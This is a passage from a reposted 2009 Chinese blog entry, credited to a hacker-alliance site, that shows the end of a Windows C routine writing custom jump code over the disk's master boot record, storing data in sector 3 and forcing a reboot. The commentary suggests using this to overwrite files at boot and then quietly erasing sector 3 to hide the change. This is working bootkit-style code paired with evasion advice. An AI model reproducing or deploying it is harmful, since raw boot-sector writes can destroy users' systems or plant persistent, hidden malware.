        ptr += sizeof(mbrJmpCode);
        while(*ptr != 0xEE) ptr++;
        *(USHORT*)ptr = (USHORT)dwFileLen;
        RtlCopyMemory(mbrBuf, mbrJmpCode, sizeof(mbrJmpCode));
        SetFilePointer(hDrive, 0, NULL, FILE_BEGIN);
        WriteFile(hDrive, mbrBuf, 512, &dataLen, 0);
        SetFilePointer(hDrive, 3, NULL, FILE_BEGIN);
        WriteFile(hDrive, Sector3Buf, BytesPerSecs, &dataLen, 0);
        free(Sector3Buf);
        CloseHandle(hDrive);
        if(IDYES == MessageBox(NULL, L"Successed! Restart Your System Now?", L"Restart", MB_YESNO))
                ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);
        return 0;
}实际应用中可以把需要Patch的某个文件的Patch Code放到某个扇区处,然后在MBR掌权时读出来覆盖进去,反正这一重启后MBR还是恢复成原样,再悄悄把Sector 3的内容抹了即可~
/*很虚很弱,大牛飘过*/

摘自红色黑客联盟(www.7747.net) 原文:http://www.7747.net/Article/200909/41626.html

posted @ 2009-12-24 15:00 风一样的离去 阅读(914) | 评论 (0)编辑 收藏

仅列出标题